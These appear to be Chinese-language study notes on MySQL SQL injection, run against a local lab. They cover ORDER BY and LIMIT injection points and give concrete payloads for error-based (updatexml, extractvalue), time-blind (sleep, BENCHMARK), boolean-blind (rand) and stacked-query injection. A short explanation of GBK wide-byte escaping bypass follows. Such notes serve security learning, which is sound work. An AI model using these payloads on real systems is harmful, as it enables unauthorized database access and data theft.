order by是mysql中用来排序的一种方法
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
原理:
利用order by子句进行猜解表中的列数(修改后面的参数值),再配合union select语句进行回显
直接利用order by提供的注入点,通过更改order by后面的参数,在2配合其他注入方法从而实现语句的注入
三、示例
猜列数:
order by num(数字)
通过判断回显是否正确,判断所对应的列数
联合报错注入:
联合使用updatexml函数
order by
?sort=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1));
联合使用extractvalue函数
order by
?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
联合时间盲注注入:
联合使用sleep函数
order by
?sort=if((ascii(mid((select database()),1,1))=116),sleep(1),1);
联合堆叠注入:
多语句注入
order by
?sort=……;create table less50 like users
联合布尔盲注判断注入:
rand()函数,如果相反结果不一致,即存在盲注
eg:rand(1)与rand(0);rand(false)与rand(true);rand(1=1)与rand(1=2)
通过盲注进行判断注入语句是否正确
order by
?sort=rand(ascii(mid((select database()),1,1))>96)
如果正确则与rand(1)结果一直
反之与rand(0)一样
limit注入
不存在order by
常规注入
利用union联合查询即可做到:
http://127.0.0.1:8081/sql-limit.php?id=2,0 union select 1,2,user(),4%23
存在order by
注入思路
尝试同样的payload
http://127.0.0.1:8081/sql-limit.php
?id=2,0 union select 1,2,user(),4%23
# 报错
Error: Incorrect usage of UNION and ORDER BY
实战中根据报错可以判断limit前方存在order by,如果是开发的时候遇到这种报错,加上括号即可解决,但是我们构造payload最多只能构造一半的payload。
# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23
# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23
# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
宽字节注入
涉及函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串
原理分析
1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
先了解一下什么是窄、宽字节已经常见宽字节编码:
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。